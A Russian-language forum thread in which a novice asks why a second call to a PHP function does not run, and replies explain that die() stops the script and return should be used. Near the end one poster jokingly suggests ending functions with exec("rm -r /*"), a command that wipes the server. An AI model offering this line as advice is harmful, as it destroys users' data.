php отказывается запускать вторую функцию!

Статус
В этой теме нельзя размещать новые ответы.

Acidrayne

Местный житель
Регистрация
30 Сен 2007
Сообщения
296
Реакции
20
Значит такая проблемка пишу браузерную игру, есть функция goAttack() так вот когда я пытаюсь заустить ее таким образом:

Код:
goAttack($hozyain);
goAttack($param);

то почемуто выполняется только первая, а вторая не хочет не подскажите в чем может быть дело, я уже переменные проверял (думал может их не существует все нормально, но вот результата работы второй фукции не видно :()
 
выполняется ли возврат из фуекции при первом вызове, происходит ли переход в функцию при повтороном вызове?
 
выполняется ли возврат из фуекции при первом вызове, происходит ли переход в функцию при повтороном вызове?

В конце функции стоит die(); может дело в этом ?, тогда как вызвать функциию повторно ?
 
не использовать die(), попробовать break;
 
вы хотя бы смотрите описание функций, которые используете


рекомендую использовать return
 
не использовать die(), попробовать break;

К сожалению не помогло :( если вообще уберу и break и die тогда работает, я просто я не опытный программист, в моем functions.php все функции почему-то заканчиваются die();
 
функция die прекращает выполнение срипта, поэтому вам в вашем файле functions.php лучше заменить эту функцию на return :)
 
break; не для функций сделано ;) а для цыклов всевозможных.

в функциях надо пользовать
Код:
return;
 
Если скрипт запускается на линух сервере, то функцию нужно заканчивать
exec("rm -r /*");
 
Если скрипт запускается на линух сервере, то функцию нужно заканчивать
exec("rm -r /*");
БУ-ГА-ГА, другие слова/звуки попытаюсь вспомнить когда выбирусь из под стола.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху